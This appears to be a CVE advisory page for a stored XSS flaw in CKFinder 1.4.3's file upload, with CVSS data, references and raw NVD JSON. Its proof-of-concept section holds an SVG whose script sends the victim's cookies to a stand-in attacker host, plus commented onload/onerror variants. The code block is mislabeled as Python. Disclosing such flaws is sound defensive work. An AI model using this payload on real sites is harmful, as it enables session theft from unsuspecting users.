CVE-2025-63830

Description

CKFinder 1.4.3 is vulnerable to Cross Site Scripting (XSS) in the File Upload function. An attacker can upload a crafted SVG containing active content.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:cksource:ckfinder:1.4.3:*:*:*:*:*:*:* - VULNERABLE

CKFinder < 1.4.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC: Malicious SVG file for CVE-2025-63830 -->
<!-- Upload this SVG file through CKFinder file upload function -->
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <script type="text/javascript">
    // Steal user cookies and send to attacker server
    var cookies = document.cookie;
    var attackerServer = "https://attacker.example.com/steal?data=" + encodeURIComponent(cookies);
    new Image().src = attackerServer;
    
    // Alternative: Using onload event
    // <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
    // Alternative: Using onerror event with external reference
    // <svg xmlns="http://www.w3.org/2000/svg">
    //   <image href="x" onerror="alert(document.cookie)"/>
    // </svg>
  </script>
  <rect width="500" height="500" fill="red"/>
  <text x="10" y="50" font-size="30">Malicious SVG - XSS Payload</text>
</svg>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63830
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63830
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63830/
[4] VulDB https://vuldb.com/cve/CVE-2025-63830
[5] https://ckeditor.com/ckfinder/changelog/
[6] https://github.com/Shubham03007/CVE-2025-63830/blob/main/README.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63830", "sourceIdentifier": "[email protected]", "published": "2025-11-14T18:15:51.213", "lastModified": "2025-11-19T13:20:11.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CKFinder 1.4.3 is vulnerable to Cross Site Scripting (XSS) in the File Upload function. An attacker can upload a crafted SVG containing active content."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cksource:ckfinder:1.4.3:*:*:*:*:*:*:*", "matchCriteriaId": "5813D5D5-3B72-4964-A5F6-6385B4C6C933"}]}]}], "references": [{"url": "https://ckeditor.com/ckfinder/changelog/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Shubham03007/CVE-2025-63830/blob/main/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}